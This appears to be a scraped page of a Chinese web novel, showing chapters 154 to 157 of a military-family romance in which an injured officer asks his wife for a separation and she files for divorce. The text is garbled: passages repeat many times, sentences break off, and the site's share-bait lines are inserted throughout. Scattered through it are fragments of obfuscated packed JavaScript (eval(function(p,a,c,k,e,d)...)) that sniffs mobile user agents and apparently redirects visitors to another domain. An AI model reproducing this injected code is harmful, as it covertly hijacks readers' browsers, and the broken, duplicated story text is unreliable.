董建林收起检查器械，神色轻松了些："恢复得挺好的。你最近感觉自己身体怎么样？" 听说和异性朋友讨论本书情节的，很容易发展成恋人哦 苏琴杉远远看见，立即摆出关切的表情迎上去："沈同志，霍团长现在怎么样呀？伤好点了吗？会不会留什么后遗症啊，我听别人说，男人这腰可伤不得，容易留下后遗症的。" 前几天听说霍沉舟又受伤时，苏琴杉心里简直乐开了花。 她以为霍沉舟这次肯定要残废了，这样顾战就能顺理成章地晋升，所有事情都会回到她预期的轨道上。 沈晚看见苏琴杉这副假惺惺的模样就反胃，冷声道："不劳你操心，沉舟恢复得很好，不会留后遗症。" 苏琴杉见沈晚这般态度，只当她是死要面子强撑。 她心里暗笑：等霍沉舟真废了，看你还怎么嚣张！ "那就好，"苏琴杉做作地抚了抚耳侧的头发，"我也是关心霍团长嘛。" 然后转身扭着腰走了。 霍小川仰头看着沈晚，大眼睛里满是担忧："妈妈，爸爸真的没事吗？" 沈晚温柔地拍拍他的小脸："你爸真的没事，别担心了哈，乖。" 霍小川点点头：“那爸爸什么时候能出院啊？他怎么老是受伤？ 沈晚笑了笑：“那他出院之后你好好批评一下他，让他下次不要再受伤了。 “好。小男孩很乖巧地应了一声。 另一边医院里。 董建林正在给霍沉舟检查身体。 他仔细按压着霍沉舟的腰椎："这里还疼吗？" "有点酸。" "这里呢？" "还好。" 董建林收起检查器械，神色轻松了些："恢复得挺好的。你最近感觉自己身体怎么样？" 听说和异性朋友讨论本书情节的，很容易发展成恋人哦 苏琴杉远远看见，立即摆出关切的表情迎上去："沈同志，霍团长现在怎么样呀？伤好点了吗？会不会留什么后遗症啊，我听别人说，男人这腰可伤不得，容易留下后遗症的。" 前几天听说霍沉舟又受伤时，苏琴杉心里简直乐开了花。 她以为霍沉舟这次肯定要残废了，这样顾战就能顺理成章地晋升，所有事情都会回到她预期的轨道上。 沈晚看见苏琴杉这副假惺惺的模样就反胃，冷声道："不劳你操心，沉舟恢复得很好，不会留后遗症。" 苏琴杉见沈晚这般态度，只当她是死要面子强撑。 她心里暗笑：等霍沉舟真废了，看你还怎么嚣张！ "那就好，"苏琴杉做作地抚了抚耳侧的头发，"我也是关心霍团长嘛。" 然后转身扭着腰走了。 霍小川仰头看着沈晚，大眼睛里满是担忧："妈妈，爸爸真的没事吗？" 沈晚温柔地拍拍他的小脸："你爸真的没事，别担心了哈，乖。" 霍小川点点头：“那爸爸什么时候能出院啊？他怎么老是受伤？” 沈晚笑了笑：“那他出院之后你好好批评一下他，让他下次不要再受伤了。” “好。”小男孩很乖巧地应了一声。 另一边医院里。 董建林正在给霍沉舟检查身体。 他仔细按压着霍沉舟的腰椎："这里还疼吗？" "有点酸。" "这里呢？" "还好。" 董建林收起检查器械，神色轻松了些："恢复得挺好的。你最近感觉自己身体怎么样？" 你的朋友正在书荒，快去帮帮他吧 苏琴杉远远看见，立即摆出关切的表情迎上去："沈同志，霍团长现在怎么样呀？伤好点了吗？会不会留什么后遗症啊，我听别人说，男人这腰可伤不得，容易留下后遗症的。" 前几天听说霍沉舟又受伤时，苏琴杉心里简直乐开了花。 她以为霍沉舟这次肯定要残废了，这样顾战就能顺理成章地晋升，所有事情都会回到她预期的轨道上。 沈晚看见苏琴杉这副假惺惺的模样就反胃，冷声道："不劳你操心，沉舟恢复得很好，不会留后遗症。" 苏琴杉见沈晚这般态度，只当她是死要面子强撑。 她心里暗笑：等霍沉舟真废了，看你还怎么嚣张！ "那就好，"苏琴杉做作地抚了抚耳侧的头发，"我也是关心霍团长嘛。" 然后转身扭着腰走了。 霍小川仰头看着沈晚，大眼睛里满是担忧："妈妈，爸爸真的没事吗？" 沈晚温柔地拍拍他的小脸："你爸真的没事，别担心了哈，乖。" 霍小川点点头：“那爸爸什么时候能出院啊？他怎么老是受伤？ 沈晚笑了笑：“那他出院之后你好好批评一下他，让他下次不要再受伤了。 “好。 另一边医院里。 董建林正在给霍沉舟检查身体。 他仔细按压着霍沉舟的腰椎："这里还疼吗？"

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16229421|181405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > "有点酸。" "这里呢？" "还好。" 董建林收起检查器械，神色轻松了些："恢复得挺好的。你最近感觉自己身体怎么样？" 听说看这本书的人都是很幸运的，分享后你的运气会更棒 苏琴杉远远看见，立即摆出关切的表情迎上去："沈同志，霍团长现在怎么样呀？伤好点了吗？会不会留什么后遗症啊，我听别人说，男人这腰可伤不得，容易留下后遗症的。" 前几天听说霍沉舟又受伤时，苏琴杉心里简直乐开了花。 她以为霍沉舟这次肯定要残废了，这样顾战就能顺理成章地晋升，所有事情都会回到她预期的轨道上。 沈晚看见苏琴杉这副假惺惺的模样就反胃，冷声道："不劳你操心，沉舟恢复得很好，不会留后遗症。" 苏琴杉见沈晚这般态度，只当她是死要面子强撑。 她心里暗笑：等霍沉舟真废了，看你还怎么嚣张！ "那就好，"苏琴杉做作地抚了抚耳侧的头发，"我也是关心霍团长嘛。" 然后转身扭着腰走了。 霍小川仰头看着沈晚，大眼睛里满是担忧："妈妈，爸爸真的没事吗？" 沈晚温柔地拍拍他的小脸："你爸真的没事，别担心了哈，乖。" 霍小川点点头：“那爸爸什么时候能出院啊？他怎么老是受伤？” 沈晚笑了笑：“那他出院之后你好好批评一下他，让他下次不要再受伤了。” “好。”小男孩很乖巧地应了一声。 另一边医院里。 董建林正在给霍沉舟检查身体。 他仔细按压着霍沉舟的腰椎："这里还疼吗？" "有点酸。" "这里呢？" "还好。" 董建林收起检查器械，神色轻松了些："恢复得挺好的。你最近感觉自己身体怎么样？" 你身边有不少朋友还没看到本章呢，快去给他们剧透吧 苏琴杉远远看见立即摆出关切的表情迎上去："沈同志霍团长现在怎么样呀？伤好点了吗？会不会留什么后遗症啊我听别人说男人这腰可伤不得容易留下后遗症的。" 前几天听说霍沉舟又受伤时苏琴杉心里简直乐开了花。 她以为霍沉舟这次肯定要残废了这样顾战就能顺理成章地晋升所有事情都会回到她预期的轨道上。 沈晚看见苏琴杉这副假惺惺的模样就反胃冷声道："不劳你操心沉舟恢复得很好不会留后遗症。" 苏琴杉见沈晚这般态度只当她是死要面子强撑。 她心里暗笑：等霍沉舟真废了看你还怎么嚣张！ "那就好"苏琴杉做作地抚了抚耳侧的头发"我也是关心霍团长嘛。" 然后转身扭着腰走了。 霍小川仰头看着沈晚大眼睛里满是担忧："妈妈爸爸真的没事吗？" 沈晚温柔地拍拍他的小脸："你爸真的没事别担心了哈 霍小川点点头：“那爸爸什么时候能出院啊？他怎么老是受伤？” 沈晚笑了笑：“那他出院之后你好好批评一下他让他下次不要再受伤了。” “好。”小男孩很乖巧地应了一声。 另一边医院里。 董建林正在给霍沉舟检查身体。 他仔细按压着霍沉舟的腰椎："这里还疼吗？" "有点酸。" "这里呢？" "还好。" 董建林收起检查器械神色轻松了些："恢复得挺好的。你最近感觉自己身体怎么样？" 听说和异性朋友讨论本书情节的，很容易发展成恋人哦 苏琴杉远远看见，立即摆出关切的表情迎上去："沈同志，霍团长现在怎么样呀？伤好点了吗？会不会留什么后遗症啊，我听别人说，男人这腰可伤不得，容易留下后遗症的。" 前几天听说霍沉舟又受伤时，苏琴杉心里简直乐开了花。 她以为霍沉舟这次肯定要残废了，这样顾战就能顺理成章地晋升，所有事情都会回到她预期的轨道上。 沈晚看见苏琴杉这副假惺惺的模样就反胃，冷声道："不劳你操心，沉舟恢复得很好，不会留后遗症。" 苏琴杉见沈晚这般态度，只当她是死要面子强撑。 她心里暗笑：等霍沉舟真废了，看你还怎么嚣张！ "那就好，"苏琴杉做作地抚了抚耳侧的头发，"我也是关心霍团长嘛。" 然后转身扭着腰走了。 霍小川仰头看着沈晚，大眼睛里满是担忧："妈妈，爸爸真的没事吗？" 沈晚温柔地拍拍他的小脸："你爸真的没事，别担心了哈，乖。" 霍小川点点头：“那爸爸什么时候能出院啊？他怎么老是受伤？” 沈晚笑了笑：“那他出院之后你好好批评一下他，让他下次不要再受伤了。” “好。”小男孩很乖巧地应了一声。 另一边医院里。 董建林正在给霍沉舟检查身体。 他仔细按压着霍沉舟的腰椎："这里还疼吗？" "有点酸。" "这里呢？" "还好。" 董建林收起检查器械，神色轻松了些："恢复得挺好的。你最近感觉自己身体怎么样？" 你身边有不少朋友还没看到本章呢，快去给他们剧透吧 第一百五十四章 我们分开吧 霍沉舟冷声道：“就那样。” “什么叫就那样呀？哪里有没有不舒服？” 董建林心里也是真担心霍沉舟，毕竟任何一个男人知道自己可能不举之后，心里都会想不开。 病房里陷入漫长的沉默。 就在董建林以为不会得到回答时，霍沉舟终于开口，声音干涩："没反应。" 董建林心里一沉。 按照霍沉舟的恢复程度，早该有反应了才对。 他拍拍霍沉舟的肩膀："再等等看吧，可能还需要时间恢复。神经损伤的修复过程比较慢……" 霍沉舟看着窗外，突然道："董院长，你不用安慰我，说实话就行。" 董建林张了张嘴，最终叹了口气："再观察半个月。如果还是没反应……我就给你转院到省城。" 霍沉舟闭上眼，喉结剧烈滚动了一下。 第二天晚上，沈晚照例来给霍沉舟扎针。 男人正侧躺在病床上，腰间系着那个牛皮护腰，整个人像只受伤的野兽般蜷缩着。 "今天感觉怎么样？"沈晚轻声问道，同时熟练地打开针包。 霍沉舟闷声道："老样子。" 沈晚没再多问，只是轻轻掀开他病号服的下摆。 男人的后腰处一片青紫，腰椎第三节明显肿胀，她消毒后，取出一根三寸长的银针，指尖轻旋着刺入肾俞穴。 "会有点酸胀，"她一边捻针一边观察他的反应，"这是补肾气的。" 接着又在命门、腰阳关等穴位下针。每扎一针，她都轻声解释："这针通经络.这针活血化瘀" 霍沉舟始终沉默着，但紧绷的肌肉渐渐放松下来。 男人一直沉默不语，沈晚心里难免奇怪："怎么了？怎么不说话？" 霍沉舟拧了拧眉，突然开口："阿晚，我有话和你说。" 沈晚："说呗。" 此时门外的林怡宁也停住脚步。 霍沉舟深吸一口气，声音干涩："我们分开吧。" 沈晚难以置信地抬头："你在说什么？" 霍沉舟避开她的目光，艰难地发出声音："我说我们分开吧。" "为什么？"沈晚的声音微微发颤，"是因为你的伤？我说过能治好的！" 霍沉舟闭上眼，喉结滚动："不是因为这个" "那是因为什么？"沈晚压抑着情绪，"昨天你爸妈都说了不会再阻止我们，你现在又突然抽什么风？你不是死也不跟我离婚吗？" 可是我现在生不如死啊 霍沉舟心中暗想，口中说出的话却更加绝情："阿晚，你就当我**吧。是我食言了，对不起。" 沈晚咬紧下唇，眼眶通红："你敢看着我的眼睛再说一次吗？" 霍沉舟对上女人那双盈满泪光的杏眸，喉咙像是被什么堵住了，他张了张嘴，没发不出声音。 沈晚虽然听见他这么说有点伤心，但她知道霍沉舟不会这么随便说出这句话，他肯定是遇到了难以解决的事。 但沈晚心中依旧恼火，她宁愿霍沉舟直接告诉她遇到了什么难题，两人一起想办法解决，而不是这样突然单方面宣布要分开。 这种被排除在他的困境之外的感觉，比听到离婚更让她难受。 此时门外的林怡宁听到霍沉舟的话，心头猛地一跳，狂喜几乎要冲破胸膛！她紧紧捂住嘴才没笑出声来。霍沉舟终于要和这个乡下女人离婚了！她就知道，那个沈晚根本配不上他！ 她看了看四周，生怕被人发现自己在偷听，赶紧走了。 病房内，沈晚默默整理好银针："你好好想想吧。我知道你肯定不会随便说出这种话，我希望你能和我坦白。" 她一直低着头不愿看男人，生怕再多对视一眼就会掉眼泪，"等明天我再来，你想清楚要和我说什么。" 她转身要走，霍沉舟却轻轻喊住她："我想清楚了，分开吧。" 他现在想等自己去省城治好了，再回来重新追回沈晚。 沈晚身子一僵，缓缓转过身来，那双总是漾着笑意的杏眸此刻蒙着一层水雾，眼尾泛着脆弱的红晕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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林怡宁丝毫不在意霍沉舟的冷脸："对了，我刚才看见沈晚从病房出来之后，就和**一起走了，两人说说笑笑，看起来很亲密的样子，不是我说，你现在还生病住院呢，她就这样……" 第一百五十五章 **打霍沉舟 林怡宁边说边观察霍沉舟的表情，见他面无表情，心里更是暗喜，看来霍沉舟是真的对沈晚没感情了。 霍沉舟听到沈晚和**一起走了，眸光微动。 他听到**正陪在小女人身边，心中自然是酸涩难当，可现在的自己又有什么资格去干涉她的自由？ 林怡宁见状，以为有机可乘，柔声道："沉舟~你躺在床上这么多天，身上应该挺难受的吧？我帮你按摩一下吧，我的按摩技术可好了。"说着就要伸手去掀被子。 "滚开！"霍沉舟猛地挥开她的手，声音冷得像冰。 林怡宁被吓得后退两步，委屈巴巴地看着病床上的男人。 她实在想不明白，明明他都主动提出要和沈晚离婚了，为什么对自己还是这么冷淡？ 但没关系，她相信精诚所至金石为开。只要坚持下去，总有一天霍沉舟会明白她的好。 "那我先走了，"她勉强挤出笑容，"你好好休息，我明天再来看你。" 门关上的瞬间，霍沉舟疲惫地闭上眼，脑海里全是沈晚含泪跑出去的模样。 **追着沈晚走到医院门口，看着她单薄的背影，心疼道："沈顾问，你要是有什么不开心的事可以告诉我。" 沈晚摇了摇头，声音轻飘飘的："我没事，谢谢你关心我，张医生。" **见她失魂落魄的样子，忍不住试探地问："你是不是和霍团长吵架了？" 沈晚没有承认也没有否认，只是茫然地望着远处，美眸此刻空洞得让人心疼。 一阵寒风吹来，她下意识抱紧双臂，这个下意识的姿势让**心头一紧。 **心中了然，忍不住攥紧了拳头。 上次霍沉舟在他面前信誓旦旦说得那么好听，他还真以为这个男人不会让沈晚受委屈，结果这才过去多久？！竟然就把沈顾问惹得这么难过。 他第一次见到这样的沈晚，像被暴雨打落的花瓣，脆弱得仿佛一碰就会碎。明明眼睛红得厉害，却还强撑着不肯落泪，只是死死咬着下唇，连唇瓣被咬出血痕都不自知。 **克制着自己的感情，抬手轻轻拍了拍她的肩膀："沈顾问，我送你回家吧。" 沈晚轻叹了一口气："不用了张医生，我自己一个人可 以的。" 她冲**勉强扯了扯唇转身冲进了夜幕中。 望着她单薄的背影消失在夜色里**心中的怒火再也压抑不住。 他猛地转身大步流星地冲回住院部直接推门闯进霍沉舟的病房。 换做平时的他绝不会如此失礼。这个向来温文尔雅的男人此刻却像头被激怒的狮子。 "霍沉舟！你知不知道沈顾问是从你病房里哭着跑出去的？你到底怎么欺负她了！" **一把扯住霍沉舟的病号服衣领向来温和的眼睛里燃着怒火。 霍沉舟面无表情地任他抓着只在听到"哭着"两个字时睫毛颤了颤。 她哭了吗？ 以往**根本没有机会碰到他的身体但现在他除了身体不便心里更涌起一股深深的无力感。 **见他沉默不语心中怒火更盛一拳狠狠打在他脸上："你说话啊！她为你付出那么多你就是这么对她的？！" 霍沉舟被打得偏过头嘴角渗出血丝却依然一言不发。 这时刚刚进门的顾战和董建林都看呆了他们看到了什么？？？ 瘦得跟弱鸡似的**竟然把霍沉舟打了！就算霍沉舟受了伤也不该这么弱啊！ 顾战急了冲过来一把抱住**的腰把他拉开："你疯了吗！敢打我们团长！他腰伤还没好你不知道吗！" **被拉得踉跄几步在顾战怀里挣扎："你放开我！我今天非要问个明白！" 董建林上前抬起霍沉舟的下巴看了看啧啧道："哎哟这打的嘴角都裂了。小张啊你干嘛要对霍团长动手？你知不知道打现役军官是要上军事法庭的？这事要是传出去 **红着眼睛吼道：“就算我不干了我也得替沈顾问出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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董建林心里明白，没有哪个男人会愿意在心爱的女人面前暴露自己这么狼狈的样子。 他叹了口气："那我尽快联系省军区总院。不过霍团长，你要做好心理准备，这种神经损伤导致的……功能障碍，不一定什么时候会好。" "无论如何，我都要试一试。" …… 沈晚回到家后，在炕头呆坐了许久，心情始终难以平复。 以她的性子，即便猜到霍沉舟可能有难言之隐，也绝不会低声下气地去挽留。 她轻吸一口气，缓缓躺到炕上，这是霍沉舟每晚睡的炕，枕被间还残留着他身上特有的气息。 沈晚将自己埋进被褥里，仿佛被男人温暖坚实的怀抱拥裹着，鼻尖全是熟悉的味道。 她闭上眼睛，一滴眼泪无声地从眼角滑落，迅速没入枕巾。 这一夜，她就这样蜷缩在充满霍沉舟气息的炕上，辗转难眠。 第二天清晨，霍小川察觉到妈妈情绪低落。他拽了拽沈晚的手，小声问："妈妈，你怎么了？不开心吗？" 沈晚强颜欢笑："没有呀宝贝。" 霍小川歪着头："真的嘛？可是你的脸色好难看，像生病了一样。" 沈晚走到镜子前，果然看见镜中人眼下带着浓重的青黑，脸色苍白，连嘴唇都失了血色。她勉强扯出个笑容，却比哭还难看。 "妈妈没事，"沈晚回头捏了捏霍小川的小脸，“快点吃饭去，吃完妈妈送你去托儿所。 “好的喔妈妈，你有什么不开心的都要告诉小川，小川现在是小男子汉了，可以替妈妈分忧了。霍小川拍着胸脯。 沈晚看着霍小川乖巧懂事的样子，心里一阵酸楚。 如果真和霍沉舟离婚，小川肯定要跟着霍沉舟。 因为在部队他能受到更好的教育和熏陶，说不定以后能成为像他爸一样出色的军人。但经过这些日日夜夜的相处，她是真的舍不得这个来报恩的儿子。 把小川送到托儿所后，沈晚照例去招待所找公婆。路上，顾战见沈晚沉默不语，也不敢多问。 林静姝打开门看见是儿媳，连忙拉着她进来 ："小晚，你来了。" 沈晚勉强笑了笑："妈，昨天晚上睡得怎么样？" "睡得挺好的，"林静姝欣慰道，"不像之前那样心慌了，一觉到天亮。" 沈晚点点头："那就说明我们的治疗是有用的。"她取出针包，"今天再巩固一次，以后就不用天天扎针了。" 林静姝看着一脸平静的沈晚，犹豫了一下，不知道要不要把儿子昨天说的混账话告诉她。 沈晚看出婆婆欲言又止，轻声问道："妈，是不是有事？" 林静姝求助似的看了一眼一旁的丈夫。霍文渊皱了皱眉，也不知该如何开口。 沈晚放下针包："爸妈，你们有话就直说吧。" 林静姝轻咳一声，小心翼翼地问："小晚，你和沉舟.吵架了吗？昨天下午他突然说，说." 她支支吾吾了半天，实在说不出口。 沈晚面色平静地接话："说要和我离婚？" 林静姝惊讶地睁大眼睛："你知道这件事？" "昨天晚上刚知道。" "这个混账儿子！"林静姝气得头疼，"我真不知道他脑子里在想什么！你对他这么好，天天给他治病熬药，他居然敢提离婚？是不是伤到脑子了？我这就去医院问问医生！" 沈晚拉住婆婆的手：“妈，你别急，霍沉舟不会随便提离婚的，他应该是遇到了什么困难。 林静姝："我和他爸也是这么想的，但是他什么也不肯和我们说。他和你说过什么吗？" 沈晚摇摇头："没说。" 林静姝急切道："小晚，他既然说这话不是发自真心的，你可千万不要答应他啊！等我和他爸再去说说他，非得把他这个糊涂念头拧过来不可！" 沈晚平静地看着婆婆："妈，我答应他了。" "啊？"老两口同时愣住。 "他有困难可以说出来我们一起解决，但是他直接提离婚……我不能接受这种逃避的方式。既然他选择用离婚来解决问题，那我就成全他。" 林静姝叹了口气："我理解你的想法。你们俩性子都犟……但是你放心，小晚，他要是真敢和你离婚，我们就不认他这个不孝子了！ 你就是我们亲闺女，我们还认识好多年轻有为的小伙子，到时候给你介绍介绍，看那个 混账后不后悔！" 霍文渊也附和道："对！让他一个人过去！" 沈晚被老两口的话逗得又想哭又想笑。 沈晚想着既然霍沉舟提出离婚，那她干脆也下一剂猛药，刺激刺激他看会不会说出实话。 她去了周卫国的办公室。 周卫国看见她，摘下老花镜："沈晚？找我有什么事？" 沈晚平静道："**，我来找您批一份离婚申请书。" 周卫国一愣："谁要离婚？" 沈晚坦然道："我和霍沉舟。" 周卫国不可置信："你和沉舟？为什么？他为了你连进修的机会都放弃了，怎么会和你离婚？" 他皱眉打量沈晚，"是不是和沉舟闹别扭了，所以故意要离婚申请气气他？这可不是儿戏，你快回去吧。" 沈晚无奈道："不是我，是霍沉舟说要和我离婚。" 周卫国猛地站起来："为什么？" 沈晚垂下眼帘："我不清楚。他什么都不肯说，就直接提了离婚。" "胡闹！" 周卫国拍了一下桌子，"我不能给你离婚申请书。军婚哪有那么容易离的？没有重大过错或特殊情况，组织上不会批准的。你们这明显就是小两口闹别扭，回去好好沟通！" 沈晚坚持道："**，您就给我吧。既然他已经提出离婚，我尊重他的选择。强扭的瓜不甜，我不想勉强他。" 周卫国犟不过她，沉思片刻后，觉得要是真离了婚，对沉舟未必是坏事。也许那小子是突然想开了，才决定和沈晚离婚的。 听说和异性朋友讨论本书情节的，很容易发展成恋人哦 混账后不后悔！" 霍文渊也附和道："对！让他一个人过去！" 沈晚被老两口的话逗得又想哭又想笑。 沈晚想着既然霍沉舟提出离婚那她干脆也下一剂猛药刺激刺激他看会不会说出实话。 她去了周卫国的办公室。 周卫国看见她摘下老花镜："沈晚？找我有什么事？" 沈晚平静道："**我来找您批一份离婚申请书。" 周卫国一愣："谁要离婚？" 沈晚坦然道："我和霍沉舟。" 周卫国不可置信："你和沉舟？为什么？他为了你连进修的机会都放弃了怎么会和你离婚？" 他皱眉打量沈晚"是不是和沉舟闹别扭了所以故意要离婚申请气气他？这可不是儿戏你快回去吧。" 沈晚无奈道："不是我是霍沉舟说要和我离婚。" 周卫国猛地站起来："为什么？" 沈晚垂下眼帘："我不清楚。他什么都不肯说就直接提了离婚。" "胡闹！" 周卫国拍了一下桌子"我不能给你离婚申请书。军婚哪有那么容易离的？没有重大过错或特殊情况组织上不会批准的。你们这明显就是小两口闹别扭回去好好沟通！" 沈晚坚持道："** 说全网首发无弹窗免费阅读ｃａixs?(请来才小 说 看最新章节 完整章节)您就给我吧。既然他已经提出离婚我尊重他的选择。强扭的瓜不甜我不想勉强他。" 周卫国犟不过她沉思片刻后觉得要是真离了婚对沉舟未必是坏事。也许那小子是突然想开了才决定和沈晚离婚的。 听说看这本书的人都是很幸运的，分享后你的运气会更棒 混账后不后悔！" 霍文渊也附和道："对！让他一个人过去！" 沈晚被老两口的话逗得又想哭又想笑。 沈晚想着既然霍沉舟提出离婚那她干脆也下一剂猛药刺激刺激他看会不会说出实话。 她去了周卫国的办公室。 周卫国看见她摘下老花镜："沈晚？找我有什么事？" 沈晚平静道："** 周卫国一愣："谁要离婚？" 沈晚坦然道："我和霍沉舟。" 周卫国不可置信："你和沉舟？为什么？他为了你连进修的机会都放弃了怎么会和你离婚？" 他皱眉打量沈晚"是不是和沉舟闹别扭了所以故意要离婚申请气气他？这可不是儿戏你快回去吧。" 沈晚无奈道："不是我是霍沉舟说要和我离婚。" 周卫国猛地站起来："为什么？" 沈晚垂下眼帘："我不清楚。他什么都不肯说就直接提了离婚。" "胡闹！" 周卫国拍了一下桌子"我不能给你离婚申请书。军婚哪有那么容易离的？没有重大过错或特殊情况组织上不会批准的。你们这明显就是小两口闹别扭回去好好沟通！" 沈晚坚持道："**您就给我吧。既然他已经提出离婚我尊重他的选择。强扭的瓜不甜我不想勉强他。" 周卫国犟不过她沉思片刻后觉得要是真离了婚对沉舟未必是坏事。也许那小子是突然想开了才决定和沈晚离婚的。 听说看这本书的人都是很幸运的，分享后你的运气会更棒 混账后不后悔！" 霍文渊也附和道："对！让他一个人过去！" 沈晚被老两口的话逗得又想哭又想笑。 沈晚想着既然霍沉舟提出离婚，那她干脆也下一剂猛药，刺激刺激他看会不会说出实话。 她去了周卫国的办公室。 周卫国看见她，摘下老花镜："沈晚？找我有什么事？" 沈晚平静道："**，我来找您批一份离婚申请书。" 周卫国一愣："谁要离婚？" 沈晚坦然道："我和霍沉舟。" 周卫国不可置信："你和沉舟？为什么？他为了你连进修的机会都放弃了，怎么会和你离婚？" 他皱眉打量沈晚，"是不是和沉舟闹别扭了，所以故意要离婚申请气气他？这可不是儿戏，你快回去吧。" 沈晚无奈道："不是我，是霍沉舟说要和我离婚。" 周卫国猛地站起来："为什么？" 沈晚垂下眼帘："我不清楚。他什么都不肯说，就直接提了离婚。" "胡闹！" 周卫国拍了一下桌子，"我不能给你离婚申请书。军婚哪有那么容易离的？没有重大过错或特殊情况，组织上不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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霍文渊也附和道："对！让他一个人过去！" 沈晚被老两口的话逗得又想哭又想笑。 沈晚想着既然霍沉舟提出离婚那她干脆也下一剂猛药刺激刺激他看会不会说出实话。 她去了周卫国的办公室。 周卫国看见她摘下老花镜："沈晚？找我有什么事？" 沈晚平静道："**我来找您批一份离婚申请书。" 周卫国一愣："谁要离婚？" 沈晚坦然道："我和霍沉舟。" 周卫国不可置信："你和沉舟？为什么？他为了你连进修的机会都放弃了怎么会和你离婚？" 他皱眉打量沈晚"是不是和沉舟闹别扭了所以故意要离婚申请气气他？这可不是儿戏你快回去吧。" 沈晚无奈道："不是我是霍沉舟说要和我离婚。" 周卫国猛地站起来："为什么？" 沈晚垂下眼帘："我不清楚。他什么都不肯说就直接提了离婚。" "胡闹！" 周卫国拍了一下桌子"我不能给你离婚申请书。军婚哪有那么容易离的？没有重大过错或特殊情况组织上不会批准的。你们这明显就是小两口闹别扭回去好好沟通！" 沈晚坚持道："**您就给我吧。既然他已经提出离婚我尊重他的选择。强扭的瓜不甜 周卫国犟不过她沉思片刻后觉得要是真离了婚对沉舟未必是坏事。也许那小子是突然想开了才决定和沈晚离婚的。 恭喜你可以去书友们那里给他们剧透了，他们一定会“羡慕嫉妒恨”的 混账后不后悔！" 霍文渊也附和道："对！让他一个人过去！" 沈晚被老两口的话逗得又想哭又想笑。 沈晚想着既然霍沉舟提出离婚，那她干脆也下一剂猛药，刺激刺激他看会不会说出实话。 她去了周卫国的办公室。 周卫国看见她，摘下老花镜："沈晚？找我有什么事？" 沈晚平静道："**，我来找您批一份离婚申请书。" 周卫国一愣："谁要离婚？" 沈晚坦然道："我和霍沉舟。" 周卫国不可置信："你和沉舟？为什么？他为了你连进修的机会都放弃了，怎么会和你离婚？" 他皱眉打量沈晚，"是不是和沉舟闹别扭了，所以故意要离婚申请气气他？这可不是儿戏，你快回去吧。" 沈晚无奈道："不是我，是霍沉舟说要和我离婚。" 周卫国猛地站起来："为什么？" 沈晚垂下眼帘："我不清楚。他什么都不肯说，就直接提了离婚。" "胡闹！" 周卫国拍了一下桌子，"我不能给你离婚申请书。军婚哪有那么容易离的？没有重大过错或特殊情况，组织上不会批准的。你们这明显就是小两口闹别扭，回去好好沟通！" 沈晚坚持道："**，您就给我吧。既然他已经提出离婚，我尊重他的选择。强扭的瓜不甜，我不想勉强他。" 周卫国犟不过她，沉思片刻后，觉得要是真离了婚，对沉舟未必是坏事。也许那小子是突然想开了，才决定和沈晚离婚的。 听说和异性朋友讨论本书情节的，很容易发展成恋人哦 第一百五十七章 签字吧 想到这，周卫国也没那么反对了。 他叹了口气："这离婚申请书你要去找**部组织科拿。不过要记住，必须双方签字摁手印，我现在再给你来一份部队调解失败的证明。" 沈晚点点头表示知道了。 等她从**部拿到离婚申请书后，便径直往医院走去。 没想到在病房门口遇到了林怡宁。 林怡宁注意到她手上的文件，虽然不知道具体是什么，但她现在也不在意了。 她满脑子都是霍沉舟终于要和沈晚的离婚的惊喜感，用心花怒放来形容都不为过。 她强忍住笑意，挡在沈晚面前："你干嘛？沉舟刚刚睡着了，你不要进去打扰他。" 沈晚现在心情烦得很，一把推开林怡宁。 林怡宁被她推得踉跄一下，随即又趾高气扬地拦上来："沈晚，你不许进去！沉舟都要和你离婚了，你没资格去见他！" 沈晚脚步一顿："你从哪听来的？" 林怡宁得意地扬起下巴："你管我从哪听来的？我早就说过，你在我面前得意不了多久！等沉舟和你离婚之后，你就会像丧家之犬一样被赶出部队，到时候看谁还把你当团长夫人捧着！" 沈晚冷眼看着林怡宁近乎扭曲的得意表情，突然觉得可笑： "等我和霍沉舟离婚之后，你想和他怎么样我都懒得管。但你现在离我远点，不然我绝对不会像以前那样轻易放过你。" 林怡宁被她眼中凛冽的寒意震慑住，下意识后退半步。但随即又恼羞成怒道："沈晚！你现在还有什么资格在我面前耀武扬威？不过是个即将被抛弃的弃妇！" 话音未落，沈晚抬手就给了她一记清脆的耳光：“嘴巴放干净点，你爸妈不教你我教你。” "啪"的一声响彻走廊，林怡宁顿时感觉左脸火辣辣地疼。 "你！你敢打我？"林怡宁捂着脸，难以置信地瞪着沈晚，"我和你拼了！" 她张牙舞爪地冲过来，指甲直朝沈晚脸上抓去。 沈晚侧身避开，手上的文件先扔在了地上，一只手精准地扣住她右手腕的内关穴，拇指用力一按—— "啊！"林怡宁顿时感觉整条胳膊酸软无力，像被抽了骨头似的垂下来。 她又惊又怒地想用左 手反击 这一招叫分筋错穴手是沈晚在现代和大哥学的自卫术。 林怡宁疼得冷汗直冒。 这会走廊里空无一人自然没人看见林怡宁的狼狈。 